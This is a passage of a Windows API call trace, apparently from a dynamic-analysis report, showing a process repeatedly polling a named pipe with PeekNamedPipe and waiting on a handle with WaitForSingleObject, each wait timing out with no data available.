lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0097.671] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0097.690] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0097.690] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0097.721] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0097.721] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0097.753] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0097.753] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0097.784] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0097.784] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0097.822] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0097.822] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0097.846] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0097.846] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0097.878] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0097.878] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0097.908] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0097.909] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0097.940] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0097.940] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0097.971] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0097.971] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0098.002] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0098.002] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0098.033] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0098.033] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0098.065] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0098.065] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0098.096] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0098.096] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0098.127] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0098.127] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0098.158] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0098.158] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0098.189] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0098.190] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0098.221] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0098.221] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0098.252] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0098.252] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0098.299] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0098.299] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0098.330] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0098.330] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0098.361] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0098.361] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0098.393] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0098.393] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0098.424] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0098.424] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0098.454] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0098.455] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0098.486] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0098.486] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0098.517] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0098.517] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0098.549] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0098.549] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0098.579] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0098.579] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0098.611] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0098.611] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0098.666] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0098.666] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0098.690] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0098.691] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0098.723] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0098.723] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0098.751] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0098.751] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0098.783] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0098.784] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0098.813] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0098.813] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0098.844] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0098.845] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0098.876] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0098.876] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0098.907] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0098.907] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0098.946] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0098.946] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0098.970] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0098.975] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0099.000] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0099.001] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0099.032] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0099.032] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0099.064] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0099.064] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0099.094] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0099.094] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0099.126] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0099.126] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0099.156] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0099.157] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0099.188] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0099.188] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0099.248] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0099.249] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0099.266] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0099.266] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0099.307] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0099.308] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0099.344] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0099.345] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0099.375] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0099.375] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0099.410] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0099.410] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0099.437] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0099.437] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0099.486] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0099.487] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0099.516] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0099.516] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0099.559] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0099.562] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0099.593] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0099.594] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0099.625] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0099.626] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0099.656] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0099.656] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0099.687] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0099.687] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0099.718] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0099.718] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0099.750] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0099.750] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0099.781] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0099.781] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0099.812] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0099.813] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0099.843] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0099.843] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0099.877] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, 